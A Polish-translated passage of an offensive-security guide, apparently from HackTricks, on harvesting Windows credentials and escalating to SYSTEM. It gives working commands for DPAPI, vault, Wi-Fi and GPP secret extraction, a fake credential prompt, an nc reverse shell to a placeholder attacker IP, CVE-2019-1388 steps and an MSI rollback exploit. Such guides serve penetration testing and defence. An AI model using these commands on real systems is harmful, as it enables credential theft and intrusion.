Windows Vault przechowuje poświadczenia, których Windows może użyć do automatycznego logowania użytkowników, co oznacza, że każda aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu (serwera lub strony internetowej) może korzystać z tego Credential Manager & Windows Vault i użyć dostarczonych poświadczeń zamiast tego, by użytkownicy za każdym razem wpisywali nazwę użytkownika i hasło.

Jeśli aplikacje nie współdziałają z Credential Manager, nie sądzę, aby mogły użyć poświadczeń dla danego zasobu. Więc jeśli Twoja aplikacja chce korzystać z vault, powinna w jakiś sposób skomunikować się z Credential Manager i poprosić o poświadczenia dla tego zasobu z domyślnego magazynu.

Użyj cmdkey, aby wyświetlić zapisane poświadczenia na maszynie.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Następnie możesz użyć runas z opcją /savecred, aby użyć zapisanych poświadczeń. Poniższy przykład uruchamia zdalny plik binarny za pośrednictwem udziału SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Użycie runas z dostarczonym zestawem poświadczeń.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Uwaga: mimikatz, lazagne, credentialfileview, VaultPasswordView, lub Empire Powershells module.

DPAPI

The Data Protection API (DPAPI) zapewnia metodę symetrycznego szyfrowania danych, używaną przede wszystkim w systemie Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych. To szyfrowanie wykorzystuje sekret użytkownika lub systemu, który znacząco przyczynia się do entropii.

DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets. W scenariuszach obejmujących szyfrowanie systemowe wykorzystuje sekrety uwierzytelniania domeny systemu.

Encrypted user RSA keys, by using DPAPI, are stored in the %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} represents the user's Security Identifier. The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file, typically consists of 64 bytes of random data. (Ważne jest, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości poleceniem dir w CMD, choć można je wyświetlić za pomocą PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Możesz użyć mimikatz module dpapi::masterkey z odpowiednimi argumentami (/pvk lub /rpc), aby go odszyfrować.

Pliki poświadczeń chronione przez hasło główne są zwykle zlokalizowane w:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Możesz użyć mimikatz module dpapi::cred z odpowiednim /masterkey, aby odszyfrować.
Możesz wyodrębnić wiele DPAPI masterkeys z pamięci za pomocą modułu sekurlsa::dpapi (jeśli jesteś root).

{{#ref}} dpapi-extracting-passwords.md {{#endref}}

Poświadczenia PowerShell

PowerShell credentials są często używane do scripting i zadań automatyzacji jako sposób na wygodne przechowywanie zaszyfrowanych poświadczeń. Poświadczenia są chronione przy użyciu DPAPI, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.

Aby decrypt poświadczenia PS z pliku, który je zawiera, możesz zrobić:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Zapisane połączenia RDP

Znajdziesz je w HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i w HKCU\Software\Microsoft\Terminal Server Client\Servers\

Ostatnio uruchomione polecenia

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Menedżer poświadczeń pulpitu zdalnego

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **odszyfrować dowolne pliki .rdg\ Możesz **wydobyć wiele DPAPI masterkeys** z pamięci za pomocą modułu Mimikatz sekurlsa::dpapi`

Sticky Notes

Ludzie często używają aplikacji StickyNotes na stacjach roboczych Windows do zapisywania haseł i innych informacji, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się pod adresem C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i zawsze warto go wyszukać i przeanalizować.

AppCmd.exe

Uwaga: aby odzyskać hasła z AppCmd.exe musisz być Administratorem i uruchomić go na poziomie High Integrity.
AppCmd.exe znajduje się w katalogu %systemroot%\system32\inetsrv\.\
Jeśli ten plik istnieje, możliwe że niektóre credentials zostały skonfigurowane i mogą zostać odzyskane.

Ten kod został wyodrębniony z PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Sprawdź, czy C:\Windows\CCM\SCClient.exe istnieje .
Instalatory są run with SYSTEM privileges, wiele jest podatnych na DLL Sideloading (Info from https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Pliki i Rejestr (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH klucze hosta

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Klucze SSH w rejestrze

Prywatne klucze SSH mogą być przechowywane w kluczu rejestru HKCU\Software\OpenSSH\Agent\Keys, więc warto sprawdzić, czy znajduje się tam coś interesującego:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Jeśli znajdziesz jakiś wpis w tej ścieżce, prawdopodobnie będzie to zapisany SSH key. Jest przechowywany zaszyfrowany, ale można go łatwo odszyfrować używając https://github.com/ropnop/windows_sshagent_extract.
Więcej informacji o tej technice tutaj: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Jeśli usługa ssh-agent nie jest uruchomiona i chcesz, aby automatycznie uruchamiała się przy starcie systemu, uruchom:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Wygląda na to, że ta technika nie jest już aktualna. Próbowałem utworzyć kilka ssh keys, dodać je za pomocą ssh-add i zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje i procmon nie wykrył użycia dpapi.dll podczas uwierzytelniania asymetrycznego klucza.

Pliki bezobsługowe

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Możesz również wyszukać te pliki za pomocą metasploit: post/windows/gather/enum_unattend

Przykładowa zawartość:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM kopie zapasowe

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Poświadczenia w chmurze

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Wyszukaj plik o nazwie SiteList.xml

Zbuforowane hasło GPP

W przeszłości istniała funkcja umożliwiająca wdrażanie niestandardowych kont administratorów lokalnych na grupie komputerów za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała istotne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, były dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane przy użyciu AES256 z publicznie udokumentowanym kluczem domyślnym, mogły być odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stanowiło to poważne zagrożenie, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.

Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co ułatwia identyfikację i usunięcie tej luki bezpieczeństwa.

Przeszukaj C:\ProgramData\Microsoft\Group Policy\history lub w C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (przed Windows Vista) w poszukiwaniu tych plików:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Aby odszyfrować cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Użycie crackmapexec do uzyskania haseł:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

Konfiguracja IIS Web

Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Przykład pliku web.config z poświadczeniami:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Dane uwierzytelniające OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logi

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Poproś o poświadczenia

Zawsze możesz poprosić użytkownika o wprowadzenie jego poświadczeń lub nawet poświadczeń innego użytkownika, jeśli uważasz, że może je znać (zauważ, że poproszenie klienta bezpośrednio o poświadczenia jest naprawdę ryzykowne):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Możliwe nazwy plików zawierające credentials

Znane pliki, które jakiś czas temu zawierały passwords w clear-text lub Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Przeszukaj wszystkie proponowane pliki:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Poświadczenia w RecycleBin

Powinieneś także sprawdzić Bin w poszukiwaniu poświadczeń.

Aby odzyskać hasła zapisane przez różne programy możesz użyć: http://www.nirsoft.net/password_recovery_tools.html

W rejestrze

Inne możliwe klucze rejestru z poświadczeniami

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historia przeglądarek

Powinieneś sprawdzić bazy danych (dbs), w których przechowywane są passwords z Chrome or Firefox.
Sprawdź też historię, zakładki i ulubione przeglądarek — być może niektóre passwords są tam przechowywane.

Tools to extract passwords from browsers:

COM - nadpisywanie DLL

Component Object Model (COM) to technologia wbudowana w system operacyjny Windows, która umożliwia intercommunication między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest identified via a class ID (CLSID), a każdy komponent udostępnia funkcjonalność przez jeden lub więcej interfejsów, identyfikowanych przez interface IDs (IIDs).

Klasy i interfejsy COM są zdefiniowane w rejestrze pod HKEY\CLASSES\ROOT\CLSID oraz HKEY\CLASSES\ROOT\Interface. Ten obszar rejestru powstaje przez scalenie HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

W obrębie CLSID-ów tego rejestru można znaleźć podrzędny klucz InProcServer32, który zawiera default value wskazującą na DLL oraz wartość nazwaną ThreadingModel, która może być Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) lub Neutral (Thread Neutral).

W zasadzie, jeśli możesz overwrite any of the DLLs które zostaną załadowane, możesz escalate privileges, jeśli ta DLL zostanie wykonana przez innego użytkownika.

Aby dowiedzieć się, jak atakujący używają COM Hijacking jako mechanizmu persistence, sprawdź:

{{#ref}} com-hijacking.md {{#endref}}

Ogólne wyszukiwanie Password w plikach i rejestrze

Szukaj zawartości plików

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Wyszukaj plik o określonej nazwie

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Przeszukaj rejestr w poszukiwaniu nazw kluczy i haseł

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Narzędzia, które wyszukują passwords

MSF-Credentials Plugin is a msf plugin. Stworzyłem ten plugin, aby automatically execute every metasploit POST module that searches for credentials w systemie ofiary.
Winpeas automatycznie wyszukuje wszystkie pliki zawierające passwords wymienione na tej stronie.
Lazagne to kolejne świetne narzędzie do wyodrębniania password z systemu.

Narzędzie SessionGopher wyszukuje sessions, usernames i passwords z kilku narzędzi, które zapisują te dane w postaci jawnej (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z full access. Ten sam proces tworzy też nowy proces (CreateProcess()) o niskich uprawnieniach, ale dziedziczący wszystkie otwarte handle głównego procesu.
Jeśli masz full access do procesu o niskich uprawnieniach, możesz przejąć otwarty handle do uprzywilejowanego procesu utworzonego przez OpenProcess() i wstrzyknąć shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Shared memory segments, referred to as pipes, enable process communication and data transfer.

Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.

When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Zidentyfikowanie uprzywilejowanego procesu, który komunikuje się przez pipe, które możesz zasymulować, daje możliwość uzyskania wyższych uprawnień poprzez przyjęcie tożsamości tego procesu, gdy wejdzie w interakcję z pipe, który utworzyłeś. Instrukcje wykonania takiego ataku znajdziesz tutaj oraz tutaj.

Ponadto poniższe narzędzie pozwala przechwycić komunikację named pipe za pomocą narzędzia takiego jak burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a to narzędzie pozwala wylistować i zobaczyć wszystkie pipes, aby znaleźć privescs https://github.com/cyberark/PipeViewer

Misc

File Extensions that could execute stuff in Windows

Check out the page https://filesec.io/

Monitoring Command Lines for passwords

Kiedy uzyskujesz shell jako użytkownik, mogą istnieć zadania zaplanowane lub inne procesy uruchamiane, które przekazują poświadczenia w linii poleceń. Poniższy skrypt przechwytuje command line procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Jeśli masz dostęp do interfejsu graficznego (via console or RDP) i UAC jest włączony, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu jako "NT\AUTHORITY SYSTEM" z konta nieuprzywilejowanego.

Pozwala to jednocześnie eskalować uprawnienia i obejść UAC za pomocą tej samej luki. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a plik binarny używany w tym procesie jest podpisany i wydany przez Microsoft.

Niektóre z dotkniętych systemów to:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Aby wykorzystać tę podatność, należy wykonać następujące kroki:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Masz wszystkie niezbędne pliki i informacje w następującym repozytorium GitHub:

https://github.com/jas502n/CVE-2019-1388

Z Administrator Medium do High Integrity Level / UAC Bypass

Przeczytaj to, aby dowiedzieć się o Integrity Levels:

{{#ref}} integrity-levels.md {{#endref}}

Następnie przeczytaj to, aby poznać UAC i UAC bypasses:

{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}

Z arbitralnego usunięcia/przeniesienia/zmiany nazwy folderu do SYSTEM EoP

Technika opisana w tym wpisie na blogu z kodem exploita dostępnym tutaj.

Atak polega zasadniczo na nadużyciu funkcji rollback Windows Installer, aby zastąpić legalne pliki złośliwymi podczas procesu odinstalowywania. Do tego atakujący musi stworzyć złośliwy MSI installer, który zostanie użyty do przejęcia folderu C:\Config.Msi, który później będzie używany przez Windows Installer do przechowywania plików rollback podczas odinstalowywania innych pakietów MSI — gdzie pliki rollback zostaną zmodyfikowane tak, by zawierały złośliwy ładunek.

Skrócona technika wygląda następująco:

  1. Etap 1 Przygotowanie do przejęcia (pozostaw C:\Config.Msi pusty)
  • Krok 1: Zainstaluj MSI

    • Stwórz .msi, który instaluje nieszkodliwy plik (np. dummy.txt) w zapisywalnym folderze (TARGETDIR).
    • Oznacz instalator jako "UAC Compliant", tak aby użytkownik bez uprawnień administratora mógł go uruchomić.
    • Trzymaj otwarty uchwyt do pliku po instalacji.
  • Krok 2: Rozpocznij odinstalowywanie

    • Odinstaluj ten sam .msi.
    • Proces odinstalowywania zaczyna przenosić pliki do C:\Config.Msi i zmienia ich nazwy na pliki .rbf (backupy rollback).
    • Polluj otwarty uchwyt pliku przy użyciu GetFinalPathNameByHandle, aby wykryć moment, gdy plik stanie się C:\Config.Msi\<random>.rbf.
  • Krok 3: Własna synchronizacja

    • .msi zawiera niestandardową akcję deinstalacji (SyncOnRbfWritten), która:
      • Wysyła sygnał, gdy .rbf zostanie zapisany.
      • Następnie czeka na inne zdarzenie przed kontynuacją deinstalacji.
  • Krok 4: Zablokuj usunięcie .rbf

    • Gdy otrzymasz sygnał, otwórz plik .rbf bez FILE_SHARE_DELETE — to powstrzymuje jego usunięcie.
    • Następnie odeslij sygnał, aby deinstalacja mogła dokończyć.
    • Windows Installer nie może usunąć .rbf, i ponieważ nie może usunąć całej zawartości, C:\Config.Msi nie jest usuwany.
  • Krok 5: Ręcznie usuń .rbf

    • Ty (atakujący) usuwasz plik .rbf ręcznie.
    • Teraz C:\Config.Msi jest pusty, gotowy do przejęcia.

W tym momencie wywołaj podatność umożliwiającą arbitralne usunięcie folderu na poziomie SYSTEM, aby usunąć C:\Config.Msi.

  1. Etap 2 Zastąpienie skryptów rollback złośliwymi
  • Krok 6: Odtwórz C:\Config.Msi ze słabymi ACL

    • Odtwórz folder C:\Config.Msi samodzielnie.
    • Ustaw słabe DACLs (np. Everyone:F), i trzymaj otwarty uchwyt z WRITE_DAC.
  • Krok 7: Uruchom kolejną instalację

    • Zainstaluj .msi ponownie, z:
      • TARGETDIR: zapisywalna lokalizacja.
      • ERROROUT: zmienna, która wywołuje wymuszone niepowodzenie.
    • Ta instalacja zostanie użyta do ponownego wywołania rollback, który odczytuje .rbs i .rbf.
  • Krok 8: Monitoruj pojawienie się .rbs

    • Użyj ReadDirectoryChangesW, aby monitorować C:\Config.Msi aż pojawi się nowe .rbs.
    • Przechwyć jego nazwę pliku.
  • Krok 9: Synchronizacja przed rollback

    • .msi zawiera niestandardową akcję instalacji (SyncBeforeRollback), która:
      • Wysyła zdarzenie, gdy .rbs zostanie utworzone.
      • Następnie czeka przed kontynuacją.
  • Krok 10: Ponownie zastosuj słabe ACL

    • Po otrzymaniu zdarzenia .rbs created:
      • Windows Installer ponownie stosuje silne ACL do C:\Config.Msi.
      • Ale ponieważ nadal masz uchwyt z WRITE_DAC, możesz ponownie ustawić słabe ACL.

ACL są egzekwowane tylko przy otwarciu uchwytu, więc nadal możesz zapisywać do folderu.

  • Krok 11: Podmień fałszywe .rbs i .rbf

    • Nadpisz plik .rbs fałszywym skryptem rollback, który instruuje Windows, aby:
      • Przywrócić twój plik .rbf (złośliwy DLL) do uprzywilejowanej lokalizacji (np. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).
      • Umieścić fałszywy .rbf zawierający złośliwy ładunek na poziomie SYSTEM (DLL).
  • Krok 12: Wywołaj rollback

    • Zasygnalizuj zdarzenie synchronizacji, aby instalator wznowił działanie.
    • Akcja niestandardowa typu 19 (ErrorOut) została skonfigurowana, aby celowo przerwać instalację w znanym punkcie.
    • To powoduje rozpoczęcie rollback.
  • Krok 13: SYSTEM instaluje twój DLL

    • Windows Installer:
      • Odczytuje twój złośliwy .rbs.
      • Kopiuje twój .rbf (DLL) do docelowej lokalizacji.
    • Teraz masz swój złośliwy DLL w ścieżce ładowanej przez SYSTEM.
  • Krok końcowy: Uruchom kod jako SYSTEM

    • Uruchom zaufany, auto-elevowany binarny (np. osk.exe), który załaduje DLL, który przejąłeś.
